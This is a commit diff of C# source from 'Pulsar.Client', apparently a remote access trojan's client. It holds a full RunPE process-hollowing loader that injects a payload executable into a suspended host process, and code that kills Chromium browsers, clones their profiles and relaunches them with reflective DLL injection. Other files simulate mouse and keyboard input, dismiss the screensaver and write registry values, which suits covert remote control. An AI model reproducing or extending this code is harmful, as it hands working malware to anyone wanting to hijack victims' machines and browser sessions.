startupInfo.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
UniversalDebugLogger.SendLogToServer($"Killing any existing {processName}.exe processes...");
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
{
UniversalDebugLogger.SendLogToServer($"Waiting for {processName}.exe processes to terminate...");
WaitForProcessCompletion(processInfo, 5000);
}
else
{
UniversalDebugLogger.SendLogToServer("Failed to create taskkill process, using fallback delay.");
await Task.Delay(500).ConfigureAwait(false);
}
string friendlyName = Path.GetFileNameWithoutExtension(browserPath);
if (string.IsNullOrWhiteSpace(friendlyName))
{
friendlyName = "Chromium";
}
var cloneResult = await CloneBrowserProfileAsync(searchPattern, replacementPath, friendlyName).ConfigureAwait(false);
if (cloneResult.Cancelled)
{
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, browserPath, searchPattern, replacementPath)).ConfigureAwait(false);
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
UniversalDebugLogger.SendLogToServer($"Error during generic Chromium DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user.");
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"Error starting generic Chromium browser: {ex.Message}");
}
}
private string DesktopName;
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using System.IO;
using System.Runtime.Serialization.Json;
using System.Text;
namespace Pulsar.Client.Helper
{
/// <summary>
/// Provides methods to serialize and deserialize JSON.
/// </summary>
public static class JsonHelper
{
/// <summary>
/// Serializes an object to the respectable JSON string.
/// </summary>
public static string Serialize<T>(T o)
{
var s = new DataContractJsonSerializer(typeof(T));
using (var ms = new MemoryStream())
{
s.WriteObject(ms, o);
return Encoding.UTF8.GetString(ms.ToArray());
}
}
/// <summary>
/// Deserializes a JSON string to the specified object.
/// </summary>
public static T Deserialize<T>(string json)
{
var s = new DataContractJsonSerializer(typeof(T));
using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json)))
{
return (T)s.ReadObject(ms);
}
}
/// <summary>
/// Deserializes a JSON stream to the specified object.
/// </summary>
public static T Deserialize<T>(Stream stream)
{
var s = new DataContractJsonSerializer(typeof(T));
return (T)s.ReadObject(stream);
}
}
}
+235
View File
@@ -0,0 +1,235 @@
using Pulsar.Client.Utilities;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper
{
public static class NativeMethodsHelper
{
private const int INPUT_MOUSE = 0;
private const int INPUT_KEYBOARD = 1;
private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
private const uint MOUSEEVENTF_LEFTUP = 0x0004;
private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
private const uint MOUSEEVENTF_WHEEL = 0x0800;
private const uint KEYEVENTF_KEYDOWN = 0x0000;
private const uint KEYEVENTF_KEYUP = 0x0002;
public const uint SWP_NOZORDER = 0x0004;
public const uint SWP_NOSIZE = 0x0001;
public const uint SWP_SHOWWINDOW = 0x0040;
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool SetWindowPos(
IntPtr hWnd, IntPtr hWndInsertAfter,
int X, int Y, int cx, int cy, uint uFlags);
public static void SetWindowPosition(IntPtr hWnd, int x, int y, int width, int height)
{
const uint SWP_NOZORDER = 0x0004;
const uint SWP_SHOWWINDOW = 0x0040;
SetWindowPos(hWnd, IntPtr.Zero, x, y, width, height, SWP_NOZORDER | SWP_SHOWWINDOW);
}
public static uint GetLastInputInfoTickCount()
{
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);
lastInputInfo.dwTime = 0;
NativeMethods.GetLastInputInfo(ref lastInputInfo);
return lastInputInfo.dwTime;
}
public static void DoMouseLeftClick(Point p, bool isMouseDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = 0,
dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
/// <summary>
/// Moves a window to the specified screen bounds.
/// </summary>
/// <param name="hWnd">Handle to the window.</param>
/// <param name="bounds">The bounds of the target screen.</param>
public static void MoveWindowToScreen(IntPtr hWnd, Rectangle bounds)
{
if (hWnd == IntPtr.Zero)
{
throw new ArgumentException("Window handle cannot be null.", nameof(hWnd));
}
bool result = NativeMethods.SetWindowPos(hWnd, IntPtr.Zero, bounds.X, bounds.Y, 0, 0, NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_NOSIZE);
if (!result)
{
throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error(), "Failed to move window to the specified screen.");
}
}
public static void DoMouseRightClick(Point p, bool isMouseDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = 0,
dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoMouseMove(Point p)
{
NativeMethods.SetCursorPos(p.X, p.Y);
}
public static void DoMouseScroll(Point p, bool scrollDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = scrollDown ? -120 : 120,
dwFlags = MOUSEEVENTF_WHEEL,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoKeyPress(byte key, bool keyDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_KEYBOARD,
u = new NativeMethods.InputUnion
{
ki = new NativeMethods.KEYBDINPUT
{
wVk = key,
wScan = 0,
dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
private const int SPI_GETSCREENSAVERRUNNING = 114;
public static bool IsScreensaverActive()
{
var running = IntPtr.Zero;
if (!NativeMethods.SystemParametersInfo(
SPI_GETSCREENSAVERRUNNING,
0,
ref running,
0))
{
// Something went wrong (Marshal.GetLastWin32Error)
}
return running != IntPtr.Zero;
}
private const uint DESKTOP_WRITEOBJECTS = 0x0080;
private const uint DESKTOP_READOBJECTS = 0x0001;
private const int WM_CLOSE = 16;
private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
private const uint SPIF_SENDWININICHANGE = 0x0002;
public static void DisableScreensaver()
{
var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
if (handle != IntPtr.Zero)
{
NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
{
if (NativeMethods.IsWindowVisible(hWnd))
NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
// Continue enumeration even if it fails
return true;
},
IntPtr.Zero);
NativeMethods.CloseDesktop(handle);
}
else
{
NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
}
// We need to restart the counter for next screensaver according to
// https://support.microsoft.com/en-us/kb/140723
// (this may not be needed since we simulate mouse click afterwards)
var dummy = IntPtr.Zero;
// Doesn't really matter if this fails
NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* true */, ref dummy, SPIF_SENDWININICHANGE);
}
public static string GetForegroundWindowTitle()
{
StringBuilder sbTitle = new StringBuilder(1024);
NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
return sbTitle.ToString();
}
}
}
+158
View File
@@ -0,0 +1,158 @@
using Microsoft.Win32;
using Pulsar.Client.Extensions;
using Pulsar.Common.Models;
using Pulsar.Common.Utilities;
using System;
using System.Collections.Generic;
using System.Linq;
namespace Pulsar.Client.Helper
{
public static class RegistryKeyHelper
{
private static string DEFAULT_VALUE = String.Empty;
/// <summary>
/// Adds a value to the registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <param name="name">The name of the value.</param>
/// <param name="value">The value.</param>
/// <param name="addQuotes">If set to True, adds quotes to the value.</param>
/// <returns>True on success, else False.</returns>
public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
{
try
{
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
{
if (key == null) return false;
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
value = "\"" + value + "\"";
key.SetValue(name, value);
return true;
}
}
catch (Exception)
{
return false;
}
}
/// <summary>
/// Opens a read-only registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <returns></returns>
public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
{
try
{
return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
}
catch
{
return null;
}
}
/// <summary>
/// Deletes the specified value from the registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <param name="name">The name of the value to delete.</param>
/// <returns>True on success, else False.</returns>
public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
{
try
{
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
{
if (key == null) return false;
key.DeleteValue(name, true);
return true;
}
}
catch (Exception)
{
return false;
}
}
/// <summary>
/// Checks if the provided value is the default value
/// </summary>
/// <param name="valueName">The name of the value</param>
/// <returns>True if default value, else False</returns>
public static bool IsDefaultValue(string valueName)
{
return String.IsNullOrEmpty(valueName);
}
/// <summary>
/// Adds the default value to the list of values and returns them as an array.
/// If default value already exists this function will only return the list as an array.
/// </summary>
/// <param name="values">The list with the values for which the default value should be added to</param>
/// <returns>Array with all of the values including the default value</returns>
public static RegValueData[] AddDefaultValue(List<RegValueData> values)
{
if (!values.Any(value => IsDefaultValue(value.Name)))
{
values.Add(GetDefaultValue());
}
return values.ToArray();
}
/// <summary>
/// Gets the default registry values
/// </summary>
/// <returns>A array with the default registry values</returns>
public static RegValueData[] GetDefaultValues()
{
return new[] { GetDefaultValue() };
}
public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
{
var newRegValue = new RegValueData { Name = name, Kind = kind };
if (value == null)
newRegValue.Data = new byte[] { };
else
{
switch (newRegValue.Kind)
{
case RegistryValueKind.Binary:
newRegValue.Data = (byte[])value;
break;
case RegistryValueKind.MultiString:
newRegValue.Data = ByteConverter.GetBytes((string[])value);
break;
case RegistryValueKind.DWord:
newRegValue.Data = ByteConverter.GetBytes((uint)(int)value);
break;
case RegistryValueKind.QWord:
newRegValue.Data = ByteConverter.GetBytes((ulong)(long)value);
break;
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
newRegValue.Data = ByteConverter.GetBytes((string)value);
break;
}
}
return newRegValue;
}
private static RegValueData GetDefaultValue()
{
return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
}
}
}
+520
View File
@@ -0,0 +1,520 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Helper
{
//Ai lowkey had to help with the 64 vs 32 bit shit I was lost.
public static class RunPE
{
private const uint CONTEXT_FULL = 0x10001F;
private const uint CONTEXT_INTEGER = 0x10002;
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int ZwUnmapViewOfSection(IntPtr hProcess, IntPtr pBaseAddress);
// For 32-bit compatibility
[DllImport("kernel32.dll", SetLastError = true)]
static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int ZwUnmapViewOfSection(IntPtr process, int baseAddress);
#region Structures
[StructLayout(LayoutKind.Sequential, Pack = 0x1)]
private struct ProcessInformation
{
public IntPtr ProcessHandle;
public IntPtr ThreadHandle;
public uint ProcessId;
public uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 0x1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x24)] private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct M128A
{
public ulong High;
public long Low;
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct XSAVE_FORMAT64
{
public ushort ControlWord;
public ushort StatusWord;
public byte TagWord;
public byte Reserved1;
public ushort ErrorOpcode;
public uint ErrorOffset;
public ushort ErrorSelector;
public ushort Reserved2;
public uint DataOffset;
public ushort DataSelector;
public ushort Reserved3;
public uint MxCsr;
public uint MxCsr_Mask;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public M128A[] FloatRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public M128A[] XmmRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
public byte[] Reserved4;
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct CONTEXT64
{
public ulong P1Home;
public ulong P2Home;
public ulong P3Home;
public ulong P4Home;
public ulong P5Home;
public ulong P6Home;
public uint ContextFlags;
public uint MxCsr;
public ushort SegCs;
public ushort SegDs;
public ushort SegEs;
public ushort SegFs;
public ushort SegGs;
public ushort SegSs;
public uint EFlags;
public ulong Dr0;
public ulong Dr1;
public ulong Dr2;
public ulong Dr3;
public ulong Dr6;
public ulong Dr7;
public ulong Rax;
public ulong Rcx;
public ulong Rdx;
public ulong Rbx;
public ulong Rsp;
public ulong Rbp;
public ulong Rsi;
public ulong Rdi;
public ulong R8;
public ulong R9;
public ulong R10;
public ulong R11;
public ulong R12;
public ulong R13;
public ulong R14;
public ulong R15;
public ulong Rip;
public XSAVE_FORMAT64 FltSave;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
public M128A[] VectorRegister;
public ulong VectorControl;
public ulong DebugControl;
public ulong LastBranchToRip;
public ulong LastBranchFromRip;
public ulong LastExceptionToRip;
public ulong LastExceptionFromRip;
}
#endregion
public static bool Execute(string hostPath, byte[] payload)
{
ProcessInformation pi = new ProcessInformation();
try
{
Debug.WriteLine($"[RunPE] Starting execution with host: {hostPath}");
Debug.WriteLine($"[RunPE] Payload size: {payload.Length} bytes");
// Validate PE signature
if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z')
{
Debug.WriteLine("[RunPE] Invalid PE file - missing MZ signature");
return false;
}
StartupInformation si = new StartupInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
// CREATE_SUSPENDED | CREATE_NO_WINDOW
Debug.WriteLine("[RunPE] Creating suspended process...");
if (!CreateProcessA(hostPath, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi))
{
int error = Marshal.GetLastWin32Error();
Debug.WriteLine($"[RunPE] CreateProcessA failed with error: {error}");
return false;
}
Debug.WriteLine($"[RunPE] Process created successfully. PID: {pi.ProcessId}");
try
{
// Determine if target process is WOW64 (32-bit on 64-bit OS)
bool isTargetWow64 = false;
if (Environment.Is64BitOperatingSystem)
{
IsWow64Process(pi.ProcessHandle, out isTargetWow64);
}
Debug.WriteLine($"[RunPE] Target process is {(isTargetWow64 ? "32-bit (WOW64)" : "64-bit")}");
// Check payload architecture
int fileAddress = BitConverter.ToInt32(payload, 0x3C);
ushort machine = BitConverter.ToUInt16(payload, fileAddress + 4);
bool isPayload64Bit = (machine == 0x8664);
Debug.WriteLine($"[RunPE] Payload architecture: {(isPayload64Bit ? "x64" : "x86")} (Machine: 0x{machine:X})");
// Validate architecture compatibility
if (isPayload64Bit && isTargetWow64)
{
Debug.WriteLine("[RunPE] ERROR: Cannot inject 64-bit payload into 32-bit host!");
return false;
}
if (!isPayload64Bit && !isTargetWow64)
{
Debug.WriteLine("[RunPE] ERROR: Cannot inject 32-bit payload into 64-bit host!");
return false;
}
bool success;
if (isTargetWow64)
{
success = Execute32Bit(pi, payload, fileAddress);
}
else
{
success = Execute64Bit(pi, payload, fileAddress);
}
if (success)
{
Debug.WriteLine("[RunPE] Resuming thread...");
ResumeThread(pi.ThreadHandle);
Debug.WriteLine("[RunPE] Execution successful!");
}
return success;
}
catch (Exception ex)
{
Debug.WriteLine($"[RunPE] Exception during injection: {ex.Message}");
if (pi.ProcessHandle != IntPtr.Zero)
TerminateProcess(pi.ProcessHandle, 1);
return false;
}
finally
{
if (pi.ProcessHandle != IntPtr.Zero)
CloseHandle(pi.ProcessHandle);
if (pi.ThreadHandle != IntPtr.Zero)
CloseHandle(pi.ThreadHandle);
}
}
catch (Exception ex)
{
Debug.WriteLine($"[RunPE] Outer exception: {ex.Message}");
if (pi.ProcessHandle != IntPtr.Zero)
{
TerminateProcess(pi.ProcessHandle, 1);
CloseHandle(pi.ProcessHandle);
}
if (pi.ThreadHandle != IntPtr.Zero)
CloseHandle(pi.ThreadHandle);
return false;
}
}
private static bool Execute32Bit(ProcessInformation pi, byte[] payload, int fileAddress)
{
Debug.WriteLine("[RunPE] Using 32-bit injection method...");
int[] context = new int[0xB3];
context[0] = (int)CONTEXT_INTEGER;
if (!Wow64GetThreadContext(pi.ThreadHandle, context))
{
Debug.WriteLine($"[RunPE] Wow64GetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
int ebx = context[0x29];
Debug.WriteLine($"[RunPE] EBX: 0x{ebx:X}");
int readWrite = 0;
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 0x8, ref baseAddress, 0x4, ref readWrite))
{
Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}");
return false;
}
int imageBase = BitConverter.ToInt32(payload, fileAddress + 0x34);
Debug.WriteLine($"[RunPE] Original base: 0x{baseAddress:X}, Target base: 0x{imageBase:X}");
if (imageBase == baseAddress)
{
if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
{
Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed");
return false;
}
}
int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50);
int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54);
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 0x3000, 0x40);
if (newImageBase == 0)
{
Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}");
return false;
}
Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase:X}");
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite))
{
Debug.WriteLine("[RunPE] Failed to write headers");
return false;
}
short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6);
int sectionOffset = fileAddress + 0xF8;
for (int i = 0; i < numberOfSections; i++)
{
int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC);
int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10);
int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14);
Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}");
if (sizeOfRawData > 0 && pointerToRawData > 0)
{
// Bounds check
if (pointerToRawData + sizeOfRawData > payload.Length)
{
Debug.WriteLine($"[RunPE] Warning: Section {i} data exceeds payload bounds, adjusting size");
sizeOfRawData = payload.Length - pointerToRawData;
if (sizeOfRawData <= 0)
{
Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data");
sectionOffset += 0x28;
continue;
}
}
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
{
Debug.WriteLine($"[RunPE] Failed to write section {i}");
return false;
}
Debug.WriteLine($"[RunPE] Section {i} written successfully");
}
sectionOffset += 0x28;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref readWrite))
{
Debug.WriteLine("[RunPE] Failed to update PEB");
return false;
}
int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28);
context[0x2C] = newImageBase + entryPoint;
Debug.WriteLine($"[RunPE] Entry point: 0x{context[0x2C]:X}");
if (!Wow64SetThreadContext(pi.ThreadHandle, context))
{
Debug.WriteLine($"[RunPE] Wow64SetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
return true;
}
private static bool Execute64Bit(ProcessInformation pi, byte[] payload, int fileAddress)
{
Debug.WriteLine("[RunPE] Using 64-bit injection method...");
CONTEXT64 context = new CONTEXT64();
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.ThreadHandle, ref context))
{
Debug.WriteLine($"[RunPE] GetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
Debug.WriteLine($"[RunPE] RDX: 0x{context.Rdx:X}");
byte[] pebBuffer = new byte[8];
int bytesRead = 0;
if (!ReadProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), pebBuffer, 8, out bytesRead))
{
Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}");
return false;
}
long originalBase = BitConverter.ToInt64(pebBuffer, 0);
long imageBase = BitConverter.ToInt64(payload, fileAddress + 0x30);
Debug.WriteLine($"[RunPE] Original base: 0x{originalBase:X}, Target base: 0x{imageBase:X}");
if (originalBase == imageBase)
{
if (ZwUnmapViewOfSection(pi.ProcessHandle, (IntPtr)originalBase) != 0)
{
Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed");
return false;
}
}
int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50);
int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54);
IntPtr newImageBase = VirtualAllocEx(pi.ProcessHandle, (IntPtr)imageBase, (uint)sizeOfImage, 0x3000, 0x40);
if (newImageBase == IntPtr.Zero)
{
Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}");
return false;
}
Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase.ToInt64():X}");
int bytesWritten = 0;
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, out bytesWritten))
{
Debug.WriteLine("[RunPE] Failed to write headers");
return false;
}
short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6);
// PE32+ has a larger optional header (0x108 vs 0xF8 for PE32)
int sectionOffset = fileAddress + 0x108;
for (int i = 0; i < numberOfSections; i++)
{
int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC);
int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10);
int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14);
Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}");
if (sizeOfRawData > 0 && pointerToRawData > 0)
{
// Bounds check
if (pointerToRawData + sizeOfRawData > payload.Length)
{
Debug.WriteLine($"[RunPE] Warning: Section {i} data exceeds payload bounds, adjusting size");
sizeOfRawData = payload.Length - pointerToRawData;
if (sizeOfRawData <= 0)
{
Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data");
sectionOffset += 0x28;
continue;
}
}
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData);
if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)newImageBase + virtualAddress), sectionData, sectionData.Length, out bytesWritten))
{
Debug.WriteLine($"[RunPE] Failed to write section {i}");
return false;
}
Debug.WriteLine($"[RunPE] Section {i} written successfully ({bytesWritten} bytes)");
}
sectionOffset += 0x28;
}
byte[] newImageBaseBytes = BitConverter.GetBytes((long)newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), newImageBaseBytes, 8, out bytesWritten))
{
Debug.WriteLine("[RunPE] Failed to update PEB");
return false;
}
int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28);
context.Rcx = (ulong)((long)newImageBase + entryPoint);
Debug.WriteLine($"[RunPE] Entry point: 0x{context.Rcx:X}");
if (!SetThreadContext(pi.ThreadHandle, ref context))
{
Debug.WriteLine($"[RunPE] SetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
return true;
}
}
}
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,18 @@
using System;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
/// <summary>
/// Exception thrown when an error occurs during desktop duplication operations.
/// </summary>
public class DesktopDuplicationException : Exception
{
public DesktopDuplicationException(string message) : base(message)
{
}
public DesktopDuplicationException(string message, Exception innerException) : base(message, innerException)
{
}
}
}
@@ -0,0 +1,57 @@
using System;
using System.Drawing;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
/// <summary>
/// Provides image data, cursor data, and image metadata about the retrieved desktop frame.
/// </summary>
public class DesktopFrame
{
/// <summary>
/// Gets the bitmap representing the last retrieved desktop frame. This image spans the entire bounds of the specified monitor.
/// </summary>
public Bitmap DesktopImage { get; internal set; }
/// <summary>
/// Gets a list of the rectangles of pixels in the desktop image that the operating system moved to another location within the same image.
/// </summary>
/// <remarks>
/// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions.
/// </remarks>
